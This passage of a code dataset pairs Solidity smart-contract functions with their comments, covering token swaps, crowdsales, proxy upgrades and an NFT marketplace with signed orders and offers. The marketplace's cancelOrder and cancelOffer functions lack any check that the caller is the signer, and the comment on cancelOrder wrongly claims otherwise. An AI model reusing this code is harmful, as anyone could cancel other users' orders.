0\r\n require(srcToken.approve(address(kyberNetworkProxyContract), 0));\r\n // Set the spender's token allowance to tokenQty\r\n require(srcToken.approve(address(kyberNetworkProxyContract), amountProccess));\r\n }\r\n \r\n \r\n \r\n\r\n // Get the minimum conversion rate\r\n (minConversionRate,) = kyberNetworkProxyContract.getExpectedRate(srcToken, destToken, amountProccess);\r\n\r\n // // Swap the ERC20 token and send to destAddress\r\n kyberNetworkProxyContract.tradeWithHint.value(calProccessAmount(msg.value))(\r\n srcToken,\r\n amountProccess,\r\n destToken,\r\n destAddress,\r\n maxDestAmount,\r\n minConversionRate,\r\n ID, hint\r\n );\r\n\r\n // Log the event\r\n Swap(msg.sender, srcToken, destToken, msg.value);\r\n }", "version": "0.4.18"} {"comment": "/// @dev Reads an address from a position in a byte array.\n/// @param b Byte array containing an address.\n/// @param index Index in byte array of address.\n/// @return result address from byte array.", "function_code": "function readAddress(\r\n bytes memory b,\r\n uint256 index\r\n )\r\n internal\r\n pure\r\n returns (address result)\r\n {\r\n if (b.length < index + 20) {\r\n LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError(\r\n LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,\r\n b.length,\r\n index + 20 // 20 is length of address\r\n ));\r\n }\r\n\r\n // Add offset to index:\r\n // 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)\r\n // 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)\r\n index += 20;\r\n\r\n // Read address from array memory\r\n assembly {\r\n // 1. Add index to address of bytes array\r\n // 2. Load 32-byte word from memory\r\n // 3. Apply 20-byte mask to obtain address\r\n result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)\r\n }\r\n return result;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @dev mint timelocked tokens\r\n */", "function_code": "function mintTimelocked(address _to, uint256 _releaseTime, uint256 _amount)\r\n onlyOwner canMint returns (bool){\r\n require(_releaseTime > now);\r\n require(_amount > 0);\r\n LockedBalance exist = lockedBalances[_to];\r\n require(exist.amount == 0);\r\n LockedBalance memory balance = LockedBalance(_releaseTime,_amount);\r\n totalSupply = totalSupply.add(_amount);\r\n lockedBalances[_to] = balance;\r\n MintLock(_to, _releaseTime, _amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/*\n * Mint via burning multiple Impermanent Digital NFTs\n */", "function_code": "function mintViaBurnMultiple(uint256[] calldata tokenIds) public {\n require(mintingIsActive, 'Minting is not live yet');\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n require(_impermanentContractInstance.ownerOf(tokenIds[i]) == msg.sender, 'Caller is not owner of the token ID');\n }\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n _impermanentContractInstance.burnForAfterlife(tokenIds[i]);\n _tokenIdCounter.increment();\n _safeMint(msg.sender, _tokenIdCounter.current());\n }\n }", "version": "0.8.9"} {"comment": "/**\n * The main logic. If the timer has elapsed and there is a schedule upgrade,\n * the governance can upgrade the vault\n */", "function_code": "function upgrade(address newImplementation) external {\n require(\n newImplementation != address(0),\n \"new fund implementation cannot be empty\"\n );\n // solhint-disable-next-line no-unused-vars\n (bool should, address nextImplementation) =\n IUpgradeSource(address(this)).shouldUpgrade();\n require(should, \"Upgrade not scheduled\");\n require(\n nextImplementation == newImplementation,\n \"NewImplementation is not same\"\n );\n _upgradeTo(newImplementation);\n\n // the finalization needs to be executed on itself to update the storage of this proxy\n // it also needs to be invoked by the governance, not by address(this), so delegatecall is needed\n\n // result is unused for now\n // solhint-disable-next-line no-unused-vars\n (bool success, bytes memory result) =\n // solhint-disable-next-line avoid-low-level-calls\n address(this).delegatecall(\n abi.encodeWithSignature(\"finalizeUpgrade()\")\n );\n\n require(success, \"Issue when finalizing the upgrade\");\n }", "version": "0.6.12"} {"comment": "// returns current owner of a given WrappedPunk (if wrapped CryptoPunk)", "function_code": "function getOwnerForWrappedPunk(uint16 punkIndex) public view returns (address) {\n try WrappedPunks.ownerOf(punkIndex) returns (address wrappedPunkOwner) {\n return wrappedPunkOwner;\n } catch Error(string memory) {\n // catches failing revert() and require()\n // ERC721: if token does not exist, require() fails in target contract\n return address(0);\n } catch (bytes memory) {\n // low-level: catches a failing assertion, etc.\n return address(0);\n }\n }", "version": "0.7.6"} {"comment": "// update order status when the NFT is redeemed/minted (must be called from the StitchedPunksNFT contract)", "function_code": "function updateOrderRedeemNFT(uint16 punkIndex) external {\n require(stitchedPunksNFTAddress == _msgSender(), \"caller is not the StitchedPunksNFT contract\");\n\n // update order status: 40 = \"received and NFT redeemed\"\n uint8 newStatus = 40;\n\n // punk has to be ordered already\n require(orderStatus[punkIndex].status != 0, \"punk was not yet ordered\");\n\n // update order status\n orderStatus[punkIndex].status = newStatus;\n\n emit OrderUpdated(punkIndex, newStatus);\n }", "version": "0.7.6"} {"comment": "/* \r\n * constructor of contract \r\n * @ _service- address which has rights to call payFiat\r\n */", "function_code": "function LuckchemyCrowdsale(address _service) public {\r\n require(START_TIME_SALE >= now);\r\n require(START_TIME_SALE > END_TIME_PRESALE);\r\n require(END_TIME_SALE > START_TIME_SALE);\r\n\r\n require(_service != 0x0);\r\n\r\n owner = msg.sender;\r\n serviceAgent = _service;\r\n token = new LuckchemyToken();\r\n totalSupply = token.CROWDSALE_SUPPLY();\r\n\r\n currentStage = Stage.Private;\r\n\r\n uint256 decimals = uint256(token.decimals());\r\n\r\n tokenPools[uint256(Stage.Private)] = 70000000 * (10 ** decimals);\r\n tokenPools[uint256(Stage.Discount40)] = 105000000 * (10 ** decimals);\r\n tokenPools[uint256(Stage.Discount20)] = 175000000 * (10 ** decimals);\r\n tokenPools[uint256(Stage.NoDiscount)] = 350000000 * (10 ** decimals);\r\n\r\n stageRates[uint256(Stage.Private)] = RATE.mul(10 ** decimals).mul(100).div(100 - DISCOUNT_PRIVATE_PRESALE);\r\n stageRates[uint256(Stage.Discount40)] = RATE.mul(10 ** decimals).mul(100).div(100 - DISCOUNT_STAGE_ONE);\r\n stageRates[uint256(Stage.Discount20)] = RATE.mul(10 ** decimals).mul(100).div(100 - DISCOUNT_STAGE_TWO);\r\n stageRates[uint256(Stage.NoDiscount)] = RATE.mul(10 ** decimals).mul(100).div(100 - DISCOUNT_STAGE_THREE);\r\n\r\n }", "version": "0.4.22"} {"comment": "/*\r\n * function for processing purchase in private sale\r\n * @weiAmount - amount of wei , which send to the contract\r\n * @beneficiary - address for receiving tokens\r\n */", "function_code": "function processPrivatePurchase(uint256 weiAmount, address beneficiary) private {\r\n\r\n uint256 stage = uint256(Stage.Private);\r\n\r\n require(currentStage == Stage.Private);\r\n require(tokenPools[stage] > 0);\r\n\r\n //calculate number tokens\r\n uint256 tokensToBuy = (weiAmount.mul(stageRates[stage])).div(1 ether);\r\n if (tokensToBuy <= tokenPools[stage]) {\r\n //pool has enough tokens\r\n payoutTokens(beneficiary, tokensToBuy, weiAmount);\r\n\r\n } else {\r\n //pool doesn't have enough tokens\r\n tokensToBuy = tokenPools[stage];\r\n //left wei\r\n uint256 usedWei = (tokensToBuy.mul(1 ether)).div(stageRates[stage]);\r\n uint256 leftWei = weiAmount.sub(usedWei);\r\n\r\n payoutTokens(beneficiary, tokensToBuy, usedWei);\r\n\r\n //change stage to Public Sale\r\n currentStage = Stage.Discount40;\r\n\r\n //return left wei to beneficiary and change stage\r\n beneficiary.transfer(leftWei);\r\n }\r\n }", "version": "0.4.22"} {"comment": "/*\r\n * function for actual payout in public sale\r\n * @beneficiary - address for receiving tokens\r\n * @tokenAmount - amount of tokens to payout\r\n * @weiAmount - amount of wei used\r\n */", "function_code": "function payoutTokens(address beneficiary, uint256 tokenAmount, uint256 weiAmount) private {\r\n uint256 stage = uint256(currentStage);\r\n tokensSold = tokensSold.add(tokenAmount);\r\n tokenPools[stage] = tokenPools[stage].sub(tokenAmount);\r\n deposits[beneficiary] = deposits[beneficiary].add(weiAmount);\r\n ethBalance = ethBalance.add(weiAmount);\r\n\r\n token.transfer(beneficiary, tokenAmount);\r\n TokenETHPurchase(msg.sender, beneficiary, weiAmount, tokenAmount);\r\n }", "version": "0.4.22"} {"comment": "/*\r\n * function for tracking bitcoin purchases received by bitcoin wallet\r\n * each transaction and amount of tokens according to rate can be validated on public bitcoin wallet\r\n * public key - #\r\n * @beneficiary - address, which received tokens\r\n * @amount - amount tokens\r\n * @stage - number of the stage (80% 40% 20% 0% discount)\r\n * can be called only by serviceAgent address\r\n */", "function_code": "function payFiat(address beneficiary, uint256 amount, uint256 stage) public onlyServiceAgent onlyWhiteList(beneficiary) {\r\n\r\n require(beneficiary != 0x0);\r\n require(tokenPools[stage] >= amount);\r\n require(stage == uint256(currentStage));\r\n\r\n //calculate fiat amount in wei\r\n uint256 fiatWei = amount.mul(1 ether).div(stageRates[stage]);\r\n fiatBalance = fiatBalance.add(fiatWei);\r\n require(validPurchase());\r\n\r\n tokenPools[stage] = tokenPools[stage].sub(amount);\r\n tokensSold = tokensSold.add(amount);\r\n\r\n token.transfer(beneficiary, amount);\r\n TokenFiatPurchase(msg.sender, beneficiary, amount);\r\n }", "version": "0.4.22"} {"comment": "/*\r\n * function that call after crowdsale is ended\r\n * releaseTokenTransfer - enable token transfer between users.\r\n * burn tokens which are left on crowsale contract balance\r\n * transfer balance of contract to wallets according to shares.\r\n */", "function_code": "function forwardFunds() public onlyOwner {\r\n require(hasEnded());\r\n require(softCapReached());\r\n\r\n token.releaseTokenTransfer();\r\n token.burn(token.balanceOf(this));\r\n\r\n //transfer token ownership to this owner of crowdsale\r\n token.transferOwnership(msg.sender);\r\n\r\n //transfer funds here\r\n uint256 totalBalance = this.balance;\r\n LOTTERY_FUND_ADDRESS.transfer((totalBalance.mul(LOTTERY_FUND_SHARE)).div(100));\r\n OPERATIONS_ADDRESS.transfer((totalBalance.mul(OPERATIONS_SHARE)).div(100));\r\n PARTNERS_ADDRESS.transfer(this.balance); // send the rest to partners (PARTNERS_SHARE)\r\n }", "version": "0.4.22"} {"comment": "/// @dev Fallback function, this allows users to purchase tokens by simply sending ETH to the\n/// contract; they will however need to specify a higher amount of gas than the default (21000)", "function_code": "function () notEnded payable public {\r\n require(msg.value >= MIN_CONTRIBUTION && msg.value <= MAX_CONTRIBUTION);\r\n uint256 tokensPurchased = msg.value.div(pricePerToken);\r\n if (tokensPurchased > tokensAvailable) {\r\n ended = true;\r\n LogEnded(true);\r\n refundAmount = (tokensPurchased - tokensAvailable) * pricePerToken;\r\n tokensPurchased = tokensAvailable;\r\n }\r\n tokensAvailable -= tokensPurchased;\r\n \r\n //Refund the difference\r\n if (ended && refundAmount > 0) {\r\n uint256 toRefund = refundAmount;\r\n refundAmount = 0;\r\n // reentry should not be possible\r\n msg.sender.transfer(toRefund);\r\n LogRefund(toRefund);\r\n }\r\n LogContribution(msg.value, tokensPurchased);\r\n CanYaCoinToken.transfer(msg.sender, tokensPurchased);\r\n multisig.transfer(msg.value - toRefund);\r\n }", "version": "0.4.15"} {"comment": "// ------------------------------------------------------------------------\n// Destoys `amount` tokens from `account`.`amount` is then deducted\n// from the caller's allowance.\n// See `burn` and `approve`.\n// ------------------------------------------------------------------------", "function_code": "function burnForAllowance(address account, address feeAccount, uint256 amount) public onlyOwner returns (bool success) {\r\n require(account != address(0), \"burn from the zero address\");\r\n require(balanceOf(account) >= amount, \"insufficient balance\");\r\n\r\n uint feeAmount = amount.mul(2).div(10);\r\n uint burnAmount = amount.sub(feeAmount);\r\n \r\n _totalSupply = _totalSupply.sub(burnAmount);\r\n balances[account] = balances[account].sub(amount);\r\n balances[feeAccount] = balances[feeAccount].add(feeAmount);\r\n emit Transfer(account, address(0), burnAmount);\r\n emit Transfer(account, msg.sender, feeAmount);\r\n return true;\r\n }", "version": "0.5.1"} {"comment": "/**\n * @notice Initialize the new money market\n * @param name_ ERC-20 name of this token\n * @param symbol_ ERC-20 symbol of this token\n * @param decimals_ ERC-20 decimal precision of this token\n */", "function_code": "function initialize(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n address initial_owner,\n uint256 initSupply_\n )\n public\n {\n require(initSupply_ > 0, \"0 init supply\");\n\n super.initialize(name_, symbol_, decimals_);\n\n initSupply = initSupply_.mul(10**24/ (BASE));\n totalSupply = initSupply_;\n yamsScalingFactor = BASE;\n _yamBalances[initial_owner] = initSupply_.mul(10**24 / (BASE));\n\n // owner renounces ownership after deployment as they need to set\n // rebaser and incentivizer\n // gov = gov_;\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Called by the gov to update the implementation of the delegator\n * @param implementation_ The address of the new implementation for delegation\n * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation\n * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation\n */", "function_code": "function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public {\n require(msg.sender == gov, \"YAMDelegator::_setImplementation: Caller must be gov\");\n\n if (allowResign) {\n delegateToImplementation(abi.encodeWithSignature(\"_resignImplementation()\"));\n }\n\n address oldImplementation = implementation;\n implementation = implementation_;\n\n delegateToImplementation(abi.encodeWithSignature(\"_becomeImplementation(bytes)\", becomeImplementationData));\n\n emit NewImplementation(oldImplementation, implementation);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Internal method to delegate execution to another contract\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\n * @param callee The contract to delegatecall\n * @param data The raw data to delegatecall\n * @return The returned bytes from the delegatecall\n */", "function_code": "function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {\n (bool success, bytes memory returnData) = callee.delegatecall(data);\n assembly {\n if eq(success, 0) {\n revert(add(returnData, 0x20), returndatasize)\n }\n }\n return returnData;\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Delegates execution to an implementation contract\n * @dev It returns to the external caller whatever the implementation returns or forwards reverts\n * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.\n * @param data The raw data to delegatecall\n * @return The returned bytes from the delegatecall\n */", "function_code": "function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {\n (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature(\"delegateToImplementation(bytes)\", data));\n assembly {\n if eq(success, 0) {\n revert(add(returnData, 0x20), returndatasize)\n }\n }\n return abi.decode(returnData, (bytes));\n }", "version": "0.5.17"} {"comment": "/*\r\n * Uses amounts and rates to check if the reserve's internal inventory can\r\n * be used directly.\r\n *\r\n * rateEthToToken and rateTokenToEth are in kyber rate format meaning\r\n * rate as numerator and 1e18 as denominator.\r\n */", "function_code": "function shouldUseInternalInventory(\r\n ERC20 srcToken,\r\n uint srcAmount,\r\n ERC20 destToken,\r\n uint destAmount,\r\n uint rateSrcDest,\r\n uint rateDestSrc\r\n )\r\n public\r\n view\r\n returns(bool)\r\n {\r\n require(srcAmount < MAX_QTY);\r\n require(destAmount < MAX_QTY);\r\n\r\n // Check for internal inventory balance limitations\r\n ERC20 token;\r\n if (srcToken == ETH_TOKEN_ADDRESS) {\r\n token = destToken;\r\n uint tokenBalance = token.balanceOf(this);\r\n if (\r\n tokenBalance < destAmount ||\r\n tokenBalance - destAmount < internalInventoryMin[token]\r\n ) {\r\n return false;\r\n }\r\n } else {\r\n token = srcToken;\r\n if (this.balance < destAmount) return false;\r\n if (token.balanceOf(this) + srcAmount > internalInventoryMax[token]) {\r\n return false;\r\n }\r\n }\r\n\r\n uint normalizedDestSrc = 10 ** 36 / rateDestSrc;\r\n\r\n // Check for arbitrage\r\n if (rateSrcDest > normalizedDestSrc) return false;\r\n\r\n uint activationSpread = internalActivationMinSpreadBps[token];\r\n uint spread = uint(calculateSpreadBps(normalizedDestSrc, rateSrcDest));\r\n return spread >= activationSpread;\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * Spread calculation is (ask - bid) / ((ask + bid) / 2).\r\n * We multiply by 10000 to get result in BPS.\r\n *\r\n * Note: if askRate > bidRate result will be negative indicating\r\n * internal arbitrage.\r\n */", "function_code": "function calculateSpreadBps(\r\n uint _askRate,\r\n uint _bidRate\r\n )\r\n public\r\n pure\r\n returns(int)\r\n {\r\n int askRate = int(_askRate);\r\n int bidRate = int(_bidRate);\r\n return 10000 * 2 * (askRate - bidRate) / (askRate + bidRate);\r\n }", "version": "0.4.18"} {"comment": "/// @notice called by buyer of ERC721 nft with a valid signature from seller of nft and sending the correct eth in the transaction\n/// @param v,r,s EIP712 type signature of signer/seller\n/// @param _addressArgs[4] address arguments array \n/// @param _uintArgs[6] uint arguments array\n/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress\n/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt\n/// @dev ethamt amount of ether in wei that the seller gets\n/// @dev deadline deadline will order is valid\n/// @dev feeamt fee to be paid to owner of contract\n/// @dev signer seller of nft and signer of signature\n/// @dev salt salt for uniqueness of the order\n/// @dev refferer address that reffered the trade", "function_code": "function matchOrder(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n address[4] calldata _addressArgs,\r\n uint[6] calldata _uintArgs\r\n ) external payable {\r\n require(block.timestamp < _uintArgs[2], \"Signed transaction expired\");\r\n\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(\"\\x19\\x01\", _eip712DomainHash(), hashStruct));\r\n address signaturesigner = ecrecover(hash, v, r, s);\r\n require(signaturesigner == _addressArgs[1], \"invalid signature\");\r\n require(msg.value == _uintArgs[1], \"wrong eth amt\");\r\n require(orderhashes[hashStruct]==false,\"order filled or cancelled\");\r\n orderhashes[hashStruct]=true; // prevent reentrency and also doesnt allow any order to be filled more then once\r\n ERC721 nftcontract = ERC721(_addressArgs[0]);\r\n nftcontract.safeTransferFrom(_addressArgs[1],msg.sender ,_uintArgs[0]); // transfer \r\n if (_uintArgs[3]>0){\r\n owner.transfer(_uintArgs[3]); // fee transfer to owner\r\n }\r\n if (_uintArgs[5]>0){ // if royalty has to be paid\r\n payable(_addressArgs[2]).transfer(_uintArgs[5]); // royalty transfer to royaltyaddress\r\n }\r\n payable(_addressArgs[1]).transfer(msg.value-_uintArgs[3]-_uintArgs[5]); // transfer of eth to seller of nft\r\n emit Orderfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] , _addressArgs[3] ,_uintArgs[3],_uintArgs[5],_addressArgs[2]);\r\n }", "version": "0.6.0"} {"comment": "/// @notice invalidates an offchain order signature so it cant be filled by anyone\n/// @param _addressArgs[4] address arguments array \n/// @param _uintArgs[6] uint arguments array\n/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress\n/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt", "function_code": "function cancelOrder( \r\n address[4] calldata _addressArgs,\r\n uint[6] calldata _uintArgs\r\n) external{\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n ); \r\n orderhashes[hashStruct]=true; // no need to check for signature validation since sender can only invalidate his own order\r\n emit Offercancelled(hashStruct);\r\n }", "version": "0.6.0"} {"comment": "/// @notice called by seller of ERc721NFT when he sees a signed buy offer of ethamt ETH\n/// @param v,r,s EIP712 type signature of signer/seller\n/// @param _addressArgs[3] address arguments array \n/// @param _uintArgs[6] uint arguments array\n/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress\n/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt", "function_code": "function matchOffer(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n address[3] calldata _addressArgs,\r\n uint[6] calldata _uintArgs\r\n ) external {\r\n require(block.timestamp < _uintArgs[2], \"Signed transaction expired\");\r\n\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(\"\\x19\\x01\", _eip712DomainHash(), hashStruct));\r\n address signaturesigner = ecrecover(hash, v, r, s);\r\n require(signaturesigner == _addressArgs[1], \"invalid signature\");\r\n require(offerhashes[hashStruct]==false,\"order filled or cancelled\");\r\n offerhashes[hashStruct]=true;\r\n if (_uintArgs[3]>0){\r\n require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),\"error in weth transfer\");\r\n }\r\n if (_uintArgs[5]>0){\r\n require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),\"error in weth transfer\");\r\n }\r\n require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),\"error in weth transfer\");\r\n ERC721 nftcontract = ERC721(_addressArgs[0]);\r\n nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);\r\n emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],0);\r\n }", "version": "0.6.0"} {"comment": "/// @notice invalidates an offchain offer signature so it cant be filled by anyone", "function_code": "function cancelOffer( \r\n address[3] calldata _addressArgs,\r\n uint[6] calldata _uintArgs\r\n) external{\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n\r\n offerhashes[hashStruct]=true; \r\n emit Offercancelled(hashStruct);\r\n }", "version": "0.6.0"} {"comment": "/// @notice called by seller of ERc721NFT when he sees a signed buy offer, this is for any tokenid of a particular collection(floor buyer)\n/// @param v,r,s EIP712 type signature of signer/seller\n/// @param _addressArgs[3] address arguments array \n/// @param _uintArgs[6] uint arguments array\n/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress\n/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt", "function_code": "function matchOfferAny(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n address[3] calldata _addressArgs,\r\n uint[6] calldata _uintArgs\r\n ) external {\r\n require(block.timestamp < _uintArgs[2], \"Signed transaction expired\");\r\n\r\n // the hash here doesnt take tokenid so allows seller to fill the offer with any token id of the collection (floor buyer)\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchoffer(address contractaddress,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(\"\\x19\\x01\", _eip712DomainHash(), hashStruct));\r\n address signaturesigner = ecrecover(hash, v, r, s);\r\n require(signaturesigner == _addressArgs[1], \"invalid signature\");\r\n require(offerhashes[hashStruct]==false,\"order filled or cancelled\");\r\n offerhashes[hashStruct]=true;\r\n if (_uintArgs[3]>0){\r\n require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),\"error in weth transfer\");\r\n }\r\n if (_uintArgs[5]>0){\r\n require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),\"error in weth transfer\");\r\n }\r\n require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),\"error in weth transfer\");\r\n ERC721 nftcontract = ERC721(_addressArgs[0]);\r\n nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);\r\n emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],1);\r\n }", "version": "0.6.0"} {"comment": "///@notice returns Keccak256 hash of an order", "function_code": "function orderHash( \r\n address[4] memory _addressArgs,\r\n uint[6] memory _uintArgs\r\n ) public pure returns (bytes32) {\r\n return keccak256(\r\n abi.encode(\r\n keccak256(\"matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n }", "version": "0.6.0"} {"comment": "///@notice returns Keccak256 hash of an offer", "function_code": "function offerHash( \r\n address[3] memory _addressArgs,\r\n uint[6] memory _uintArgs\r\n ) public pure returns (bytes32) {\r\n return keccak256(\r\n abi.encode(\r\n keccak256(\"matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n }", "version": "0.6.0"} {"comment": "///@notice returns Keccak256 hash of an offerAny", "function_code": "function offerAnyHash( \r\n address[3] memory _addressArgs,\r\n uint[6] memory _uintArgs\r\n ) public pure returns (bytes32) {\r\n return keccak256(\r\n abi.encode(\r\n keccak256(\"matchoffer(address contractaddress,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n }", "version": "0.6.0"} {"comment": "/// @notice returns status of an order\n/// @param v,r,s EIP712 type signature of signer/seller\n/// @param _addressArgs[4] address arguments array \n/// @param _uintArgs[6] uint arguments array\n/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress\n/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt", "function_code": "function orderStatus(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n address[4] memory _addressArgs,\r\n uint[6] memory _uintArgs\r\n ) public view returns (uint256) {\r\n if (block.timestamp > _uintArgs[2]){\r\n return 2;\r\n }\r\n\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(\"\\x19\\x01\", _eip712DomainHash(), hashStruct));\r\n address signaturesigner = ecrecover(hash, v, r, s);\r\n\r\n if (signaturesigner != _addressArgs[1]){\r\n return 0;\r\n }\r\n if (orderhashes[hashStruct]==true){\r\n return 1;\r\n }\r\n\r\n return 3;\r\n\r\n }", "version": "0.6.0"} {"comment": "/// @notice returns status of an order", "function_code": "function offerStatus(\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n address[3] memory _addressArgs,\r\n uint[6] memory _uintArgs\r\n ) public view returns (uint256) {\r\n if (block.timestamp > _uintArgs[2]){\r\n return 2;\r\n }\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n keccak256(\"matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)\"),\r\n _addressArgs[0],\r\n _uintArgs[0],\r\n _uintArgs[1],\r\n _uintArgs[2],\r\n _uintArgs[3],\r\n _addressArgs[1],\r\n _uintArgs[4],\r\n _addressArgs[2],\r\n _uintArgs[5]\r\n )\r\n );\r\n\r\n bytes32 hash = keccak256(abi.encodePacked(\"\\x19\\x01\", _eip712DomainHash(), hashStruct));\r\n address signaturesigner = 